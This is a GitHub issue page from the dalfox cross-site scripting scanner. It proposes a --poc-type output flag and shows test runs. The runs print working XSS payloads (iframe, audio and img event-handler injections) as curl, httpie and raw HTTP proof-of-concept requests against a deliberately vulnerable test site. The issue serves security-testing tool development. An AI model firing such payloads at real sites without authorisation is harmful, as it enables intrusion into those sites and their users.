Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New flag (root / --poc-type) #312

Closed
hahwul opened this issue Nov 16, 2021 · 2 comments
Closed

New flag (root / --poc-type) #312

hahwul opened this issue Nov 16, 2021 · 2 comments
Milestone

Comments

@hahwul
Copy link
Owner

hahwul commented Nov 16, 2021

--poc-type=plain, --poc-type=curl, --poc-type=httpie

plain (default)

[POC][V][GET][inHTML-none(1)-URL] http://testphp.vulnweb.com/listproducts.php?cat=%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dprint%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E

curl (--poc-type=curl)

[POC][V][GET][inHTML-none(1)-URL] curl -i -k http://testphp.vulnweb.com/listproducts.php?cat=%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dprint%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E
@hahwul
Copy link
Owner Author

hahwul commented Nov 18, 2021

Test

curl

$ ./dalfox url http://frozen.hahwul.com:8070/ -d "query=1234" -X POST --poc-type curl
[POC][V][POST][inHTML-none(1)-FORM] curl -i -k -X POST http://frozen.hahwul.com:8070/ -d "query=1234%3Caudio+controls+ondurationchange%3Dconfirm%281%29+id%3Ddalfox%3E%3Csource+src%3D1.mp3+type%3Daudio%2Fmpeg%3E%3C%2Faudio%3E"

httpie

$ ./dalfox url http://frozen.hahwul.com:8070/ -d "query=1234" -X POST --poc-type httpie
[POC][V][POST][inHTML-FORM] http POST http://frozen.hahwul.com:8070/ "query=1234%27%22%3E%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dalert%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E" --verify=false

hahwul added a commit that referenced this issue Nov 18, 2021
@hahwul hahwul closed this as completed Nov 18, 2021
@hahwul
Copy link
Owner Author

hahwul commented Nov 19, 2021

http-request

$ ./dalfox url http://testphp.vulnweb.com/listproducts.php\?artist\=123 --poc-type http-request
...
[V] Triggered XSS Payload (found DOM Object): artist='><img/src/onerror=.1|alert`` class=dalfox>
    48 line:  syntax to use near ''><img/src/onerror=.1|alert`` class=dalfox>' at line 1
[POC][V][GET][inHTML-URL] HTTP RAW REQUEST
GET /listproducts.php?artist=123%27%3E%3Cimg%2Fsrc%2Fonerror%3D.1%7Calert%60%60+class%3Ddalfox%3E HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip
...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant